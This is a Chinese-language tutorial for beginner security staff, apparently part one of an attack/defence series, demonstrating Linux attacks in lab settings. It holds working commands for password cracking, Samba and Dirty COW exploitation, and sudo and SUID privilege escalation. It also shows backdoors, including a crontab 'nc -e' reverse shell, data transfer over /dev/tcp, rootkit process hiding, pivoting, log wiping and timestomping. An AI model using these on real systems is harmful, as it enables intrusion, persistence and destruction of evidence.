针对linux系统的一些攻击
本系列文档包括三个部分,分别是《针对Linux系统的攻击》、《Linux系统安全加固》和《Linux系统入侵排查》。编写这些文档的目的,是从攻和防的角度分别对Linux系统相关的安全技术进行介绍,使初级水平的网络安全从业者对Linux操作系统的脆弱性检查、安全加固、应急响应等安全服务工作产生更清晰的认识。
本文是系列文档的第一部分,介绍针对Linux系统的攻击方法。正所谓“未知攻,焉知防”,要掌握Linux系统的安全防护技术,必须了解基本的攻击技术,知道黑客在攻击的时候会做哪些事情,才好有针对性地进行防御。
本文所涉及到的针对Linux系统的攻击方式包括以下这些:
下面分别进行介绍。
(一)暴力破解
暴力破解在这里主要是针对Linux系统的账号和口令进行离线攻击或在线攻击。
所谓的离线攻击是指攻击者拿到了口令文件,也就是/etc/passwd和/etc/shadow文件,在攻击者本地进行破解。而在线攻击是指攻击者远程对Linux系统的服务如ssh、telnet等进行口令破解,不断地尝试登录,根据服务器返回的信息来判断正在尝试的口令是否正确。
1. 离线攻击
离线攻击所使用的工具有很多,最常用的有两个,一个是John the ripper,另一个是hashcat。这两个工具都在kali linux的软件安装源里面,所以都可以在线安装。另外Linux系统管理员也可以使用john the ripper在对Linux系统进行脆弱性检查的时候确定自己的系统中是否存在弱口令。
例子:使用John The Ripper对Ubuntu 1604系统的口令文件进行字典攻击
//攻击者在本地安装john the ripper
apt install john
//下载目标系统的/etc/passwd和/etc/shadow文件到本地 ,使用unshadow合并这两个文件。unshadow是john软件包中的一个程序
/usr/sbin/unshadow passwd shadow > /tmp/crack.password.db
//使用默认的口令字典开始破解(/usr/share/john/password.lst)
john /tmp/crack.password.db
可以看到,得到了root和user1用户的口令。
//也可以指定其它字典文件进行破解
john /tmp/crack.password.db --wordlist /word/list/file
2. 在线攻击
Linux平台用于远程破解口令的软件比较常用的有hydra和nmap。
例子:使用hydra对本地系统进行远程口令破解
//使用hydra,通过telnet服务对本地的user1用户的口令进行破解,指定使用john的口令字典文件
hydra -l user1 -P /usr/share/john/password.lst 127.0.0.1 telnet
-l //指定用户名,若不知道用户名泽需要指定用户名字典
-P //指定口令字典文件
127.0.0.1 //指定目标IP地址
telnet //指定目标服务
破解成功,得到了user1用户的口令:123456。同样,root用户的口令也可以破解出来,这里不再赘述。
(二)攻击服务漏洞
Linux系统中可能部署了各种服务,如果软件存在漏洞或者服务存在错误的配置,则很可能被攻击者利用。例如NFS服务和samba服务:
NFS:
如果导出资源的范围过大并且权限过高,则存在风险。例如导出了根文件系统并允许读写,则攻击者可将ssh公钥写入ssh授权文件,行程ssh证书后门,实现非授权访问。
samba:
版本:Samba3.x,共享目录可写并允许wide links,则攻击者可以访问目标主机的根文件系统并得到shell。
1. 攻击NFS服务的漏洞
例子,攻击者将自己的公钥文件写入目标Linux系统(metasploitable 2)的NFS共享
//攻击者在本地创建临时目录
mkdir /tmp/r00t
//在目标服务器的NFS服务存在错误配置的情况下,攻击者将该服务器通过NFS服务共享出来的根目录挂载到刚创建的临时目录
mount -o nolock -t nfs remote_ip:/ /tmp/r00t
//攻击则会将自己的公钥文件通过NFS共享写入到目标主机的ssh授权文件中,这样就形成了ssh证书后门
cat /root/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
//之后攻击者即可通过证书访问目标系统的ssh服务
ssh root@remote_ip
2. 攻击Samba服务的漏洞
例如在metapsloitable2靶机中,samba服务存在漏洞,导致攻击者可以得到靶机的shell。
use exploit/multi/samba/usermap_script
set rhost remote_ip
exploit
得到shell。
(三)权限提升
权限提升的方法很多,主要介绍四种方法:内核漏洞提权、sudo提权、suid提权和capabilities提权。提权的主要目的是实现对目标系统更大程度的控制,提权所使用的技术也可以作为后门来使用。
1. 内核漏洞提权
通过内核漏洞进行提权的方法很多,这里介绍脏牛(dirty-cow)漏洞提权。
例子:Linux系统(metasploitable 2)通过脏牛漏洞提权
(1) 获取源代码
//登录目标系统:
ssh user1@target_ip
EXP下载地址:https://github.com/FireFart/dirtycow
(2) 提权
//在目标系统中编译源代码,生成可执行文件,名为dirty
gcc -pthread dirty.c -o dirty -lcrypt
//运行dirty程序开始提权
./dirty abcd1234 //指定口令
提权的准备已经完成了,可以看到/etc/passwd文件已经变成了二进制文件。接下来就可以切换到root身份了。
su - firefart //切换到firefart用户,输入前面设置的口令
从图中可以看到,用户的uid为0,提权成功了。
2. sudo提权
推荐阅读:《centos 7系统配置sudo策略(附sudo提权演示)》
https://www.freebuf.com/articles/system/243526.html
该文章介绍了sudo提权的方法。
例子:Linux系统(metasploitable 2)通过sudo提升权限
//查看当前用户允许通过sudo执行的命令
sudo -l
从sudo -l的返回结果来看,系统允许以sudo的方式执行awk、less、vim这三个命令。
//sudo awk提权
sudo awk 'BEGIN {system("/bin/bash")}'
sudo awk提权成功,得到了root shell。
//sudo less提权
sudo less /etc/lsb-release
在less的底部输入!/bin/bash,可以看到提权成功,得到了root shell。
//sudo vim提权
sudo vim -c '!bash'
提权成功,得到了root shell。
3. suid提权
推荐阅读:《CentOS 7系统利用suid提权获取Root Shell》
https://www.freebuf.com/articles/system/244627.html
该文章较详细地介绍了suid提权获取root shell的方法。
例子:Linux系统(metasploitable 2)通过suid程序提升权限
//使用find命令在系统中查找具有suid标志位的文件
find / -perm -u=s -type f 2>/dev/null
假设攻击者找到了find、nmap、more这三个可执行文件设置了suid,那么下面尝试进行提权。
//使用带有suid的find命令进行提权
find . -exec /bin/sh -p ; -quit
使用find命令进行提权。查看看到,find命令通过exec参数创建了一个子进程,这个子进程的euid为0,因此这个子进程是一个root shell。
//使用带有suid的nmap命令进行提权
echo "os.execute('/bin/bash -p')" > /tmp/shell.nse
nmap --script=/tmp/shell.nse 127.0.0.1
得到了root shell。这个root shell有个特点,就是看不到输入的命令,只能看到执行的结果。
//使用带有suid的more命令进行提权
more /etc/profile
//在底行输入
!/bin/sh -p
可以看到,也得到了root shell。使用more打开的必须是一个在当前屏幕中无法完全显示的文件,这样才会出现底行,提示显示的百分比,攻击者才能输入!/bin/sh -p
4. capabilities提权
推荐阅读:Linux系统利用可执行文件的Capabilities实现权限提升
https://www.freebuf.com/articles/system/251182.html
capabilities的作用是提供一种与suid相比更细粒度的控制,在执行特权操作的时候,如果进程或线程的euid不是root,那么系统就检查该线程是否具有该特权操作对应的capability,如果具有,才能执行特权操作。就像是把suid分成了很多份,需要的时候给你其中一份,其它份不给。
例如,在安装wireshark软件后,默认情况下普通用户无法对网卡实施抓包操作。这是因为普通用户不具备抓包操作的权限。
wireshark给出的方法是,将当前用户加入wireshark组:
但是也可以为wireshark的抓包程序/usr/bin/dumpcap授予用于抓包操作的capabilities。授予权限之后之后普通用户就可以进行抓包操作了:
setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
例子:Linux系统(CentOS 7)通过带有capabilities的程序提权
//查找设置了capabilities的程序
getcap -r / 2>/dev/null
首先要在系统中查找设置了capabilities的程序。其中设置了cat_setuid的capability的程序存在提权的可能性。常见的可以通过cap_setuid的capability提权的程序包括gdb、perl、Python、php、ruby、rvim、vim、tar等。
//通过gdb提权
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
提权成功,得到了root shell。
(四)文件传输
1. 将文件上传到目标Linux
例子,使用下面的命令将文件从远程主机上传到目标Linux服务器:
第一步,远程主机创建测试文件并监听端口
echo "get by bash." > bash.sent
nc -l -p 12345 < bash.sent
第二步,目标Linux服务器使用bash连接远程主机并获取文件
bash -c 'cat < /dev/tcp/192.168.43.237/12345 > bash.get'
文件传输成功。
2. 从目标Linux系统下载文件
例子,使用下面的命令将目标Linux系统的文件下载到远程主机:
第一步,远程主机监听12345端口
nc -l -p 12345 > bash.get
第二步,Linux服务器创建测试文件并使用bash将文件传输到远程主机
echo "sent by bash." > bash.sent
bash -c 'cat bash.sent > /dev/tcp/192.168.43.237/12345'
第三步,远程主机查看接收到的文件
文件传输成功。
(五)木马后门
后门的种类很多,例如下面这些:
推荐阅读:《Linux系统后门初步研究》
https://www.freebuf.com/articles/system/259494.html
该文章介绍了一些Linux系统后门的创建方法。
在本文档中,分别对uid为0的账户、crontab后门和ssh证书后门进行介绍。
1. 创建uid为0的后门账户
//创建用户账户,指定账户的uid为0
useradd -o -u 0 hack1
//设置口令
passwd hack1
首先在系统中创建一个后门账户,该账户的uid设置为0,也就是说,创建一个超级用户。
注意,这个账户受到ssh服务配置的影响。如果sshd_config文件中设置PermitRootLogin为no,那么,这个hack1用户是无法远程登录的,虽然他的用户名不是root。
2. 创建crontab后门
//在被攻击机器上,以root身份编辑crontab
crontab -e -u root
*/1 * * * * /bin/nc -e /bin/bash 192.168.242.1 5555
保存退出
//攻击者监听本地端口,得到反弹shell
nc -l -p 5555
3. 创建ssh证书后门
//攻击者创建公私密钥对
ssh-keygen -t rsa
//攻击者将公钥复制到目标主机
ssh-copy-id -i ~/.ssh/id_rsa.pub root@192.168.242.132
//攻击者使用证书登录目标主机
ssh root@192.168.242.132
输入密钥短语即可登录。
这样即使目标主机更改了root口令,只要证书还在目标主机上,攻击者就可以远程登录。
(六)rootkit
1. rootkit是什么?
根据百度百科的解释,rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit和木马、后门等其他恶意程序结合使用。也就是说,用rootkit去隐藏木马所使用的文件、进程、网络连接等。
2. 安装rootkit
下面我们举个例子,在CentOS 6.5系统中使用LKM(loadable kernel module)后门adore-ng提升权限、隐藏进程和文件。
首先将adore-ng下载到目标主机,解压缩,进入解压缩后的目录
//编译
make -j 4
//插入内核模块。
insmod adore-ng.ko
//将rootkit程序复制到临时目录
cp -r /home/user1/adore-ng-master /tmp/
//修改权限
chmod -R 777 /tmp/adore-ng-master
//进入目录
cd /tmp/adore-ng-master
//查看帮助
./ava
进入/tmp下的adore-ng目录,运行目录中的ava,这是一个可执行程序,在不加任何参数的情况下显示帮助信息。从帮助信息中可以看到,这个软件可以做以下的事情:
隐藏文件、提权为root、隐藏进程(make PID invisible)。
3. 使用rootkit进行提权
/tmp/adore-ng-master/ava r cat /etc/shadow | grep root
user1用户正常情况下无法查看shadow文件的内容,但是使用adore-ng的ava,就可以实现提权,可以查看shadow文件的内容。如果执行的是/bin/bash,那么可以得到一个root shell。
4. 使用rootkit隐藏进程
cd /opt/hack
//查看需要被隐藏的那个进程的源码。实际上这是一个shell脚本,它的功能是通过无限循环,将This is the virus写入文件file.txt。
cat hack.sh
//以root身份在后台运行hask.sh
hack.sh &
hack.sh脚本在后台运行后,其PID为2734。可以在ps命令的结果中看到这个进程。
//应用rootkit的功能,隐藏PID为2734的进程
/tmp/adore-ng-master/ava i 2734
进程隐藏成功,看不到2734进程了,也查不到名称中含有hack.sh的进程。该进程在ps命令中被隐藏。
5. 使用rootkit隐藏文件
//现在我们使用h参数,来隐藏hack.sh所生成的file.txt这个文件。
/tmp/adore-ng-master/ava h file.txt
可以看到,使用ls命令,即使加上用于显示隐藏文件的-a参数,也看不到file.txt了。
(七)转发和代理
攻击者入侵linux系统后,可通过修改路由表、设置iptables、部署端口转发和socks代理软件等方式,将被入侵系统作为跳板,进一步入侵目标系统所在内网的其它机器。
1. 端口转发
例子,通过设置iptables,将目标Linux系统作为跳板机访问内网机器(metasploitable 2)
(1) 跳板机操作
//被攻击系统启用ip转发
echo 1 > /proc/sys/net/ipv4/ip_forward
//被攻击系统创建iptables转发规则,将去往192.168.1.8的2222端口的数据包转发到192.168.1.7的22端口
iptables -t nat -A PREROUTING -p tcp -d 192.168.1.8 --dport 2222 -j DNAT --to 192.168.1.7:22
//被攻击系统启用地址转换
iptables -t nat -A POSTROUTING -j MASQUERADE
(2) 攻击者本地操作
//攻击者访问被攻击系统(跳板机)的2222端口
ssh -p 2222 root@192.168.1.8
可以访问到内网机metasploitable 2的ssh服务。说明端口转发成功。
2. socks代理
推荐阅读:《内网渗透:使用ew实现socks代理》
https://www.freebuf.com/sectool/234254.html
例子,将earthworm作为socks代理使攻击者访问内网计算机
场景描述:攻击者(192.168.1.7)位于外网,无法访问目标网络内部的主机。但是攻击者可以访问目标网络中对外暴露的服务器(192.168.1.8),这台服务器拥有内网IP地址(192.168.56.113),可以访问内网机器。
攻击链路:攻击者以服务器(192.168.1.8)为跳板,攻击内网机器(192.168.56.101)。
攻击方法如下:
(1) 跳板机操作
//攻击者以某种手段控制了被攻击系统后,将ew_for_linux传到被攻击系统,并将文件改名。
mv ew_for_linux ew
//在8888端口上开启socks代理,ssocksd提供正向代理功能
./ew -s ssocksd -l 8888
ew开始监听端口了。此时被攻击系统已成为跳板机。可以看到截图中当前用户是root,实际上监听1024以上的端口无需root权限,普通用户即可。攻击者连接到跳板机的8888端口之后,跳板机根据本机的路由表配置,将访问者的数据包从适当的网口转发出去。转发之后,包的源地址会被修改为这个出口的IP地址。
注意,在linux跳板机上转发数据包,内核的IP转发功能是需要开启的。
(2) 攻击者本地运行全局代理
以proxychains为例,说明全局代理的用法:
apt install proxychains //安装proxychains
vi /etc/proxychains.conf //配置proxychains
将最后一行的socks4注释掉,添加下面的行,端口为跳板机上的ew监听的8888:
socks5 192.168.1.8 8888
保存退出
proxychains telnet 192.168.56.101 //通过socks代理访问目标机
登录成功。也就是说,只要能访问到跳板机上ew代理程序的监听端口,就可以访问对跳板机来说路由可达的主机。
(3) 验证
在目标机抓包,可以看到访问者的地址是跳板机的地址(192.168.56.113),也就是说,socks代理的工作是正常的。
(八)隐蔽信道
网络协议信息隐藏(协议隐写)是一种利用数据包作为掩护载体,将秘密信息隐匿在网络协议的数据包之中的信息隐藏技术,它可以通过网络协议数据包中的保留、可选、未定义等字段和数据包的顺序、数量、到达时间、特定时间流量以及其它可被利用的特征,在网络中不同的主机之间建立隐蔽信道。
下面举个例子,使用httptunnel建立基于http协议的隐蔽信道。
1. 服务端启动监听
软件分为服务端(hts)和客户端(htc)两部分,分别进行如下的操作以实现隐蔽隧道:
//启动ssh服务
systemctl start ssh
//服务端程序hts监听本机的80端口,将接收到的数据转发给监听22端口的程序
hts --forward-port localhost:22 80
2. 客户端建立连接
//客户端将发给本地900端口的数据包转发到服务端(10.42.0.1)的80端口
htc --forward-port 900 10.42.0.1:80
//客户端使用ssh程序访问本地的900端口
ssh user1@127.0.0.1 -p 900
之后可以成功连接10.42.0.1的ssh服务
3. 验证
//在客户端ssh程序中执行命令,之后在服务器端抓包
tcpdump -i 网络接口
只抓到了http协议包,没有抓到ssh协议的任何数据,说明ssh协议数据被成功封装到了http包中,隐蔽隧道建立成功。
(九)物理攻击
例如在CentOS 7系统中,如果能够以物理方式访问服务器,则可以通过下面的方法获得root权限:
//物理方式关闭服务器,之后打开电源,进入内核选择界面:
//按e键,进入编辑模式。
在kernel引导行所在参数行尾添加以下内容init=/bin/sh(注意空格):
修改成:
linux16 /vmlinuz-3.10.0-327.el7.x86_64 root=/dev/mApper/centos-root ro
crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=
en_US.UTF-8 init=/bin/sh
//按下ctrl-x,进入单用户模式:
//挂载根分区为可读写模式。挂载后即可访问该系统中的资源了
mount -o remount,rw /
//如果想以多用户模式进入操作系统,可修改root口令
passwd 用户名
或者创建一个uid为0的账户并设置口令
//重启服务器,输入帐号口令后进入系统。
exec /sbin/reboot
(十)痕迹清理
1. 清除命令历史
//清空用户的命令历史文件
echo > ~user1/.bash_history
//清空内存中的历史列表
history -c
//保留前150行
sed -i '150,$d' .bash_history
2. 删除访问日志
//清空ssh登录成功和失败的日志
echo > /var/log/secure
//清除含有自己IP地址的日志
sed -i '/192.168.242.1/d' /var/log/secure
3. 修改文件时间
//修改创建时间和访问时间
touch -d "2019-01-01 08:10:30" /path/to/malware
//复制正常文件的时间属性给攻击者部署的恶意文件
touch -r /etc/yum.conf /path/to/malware
4. 彻底删除文件
(1) wipe
wipe -rfi private/*
-r:递归删除,-f:强制删除并禁用确认查询,-i:显示擦除进度
(2) shred
find ./dir-name -type f -exec shred -zvu -n 3 {} ;
-z:用0覆盖,-v:显示操作进度,-u:覆盖后截断文件并删除
-n:指定覆盖文件内容的次数,默认3次
说明
Linux系统中使用rm命令删除的只是文件的硬链接,文件的内容还存放在文件系统中,使用数据恢复软件就可以将文件恢复出来。攻击者需要使用特定的安全删除软件来彻底地删除文件。这些安全删除软件用0或者随机数字反复多次地覆盖被删除文件所占用的磁盘区域,从而使该文件无法被恢复。
本文简单介绍了针对Linux系统的攻击方法,在下一篇文章中,将介绍防御这些攻击方法而采取的安全加固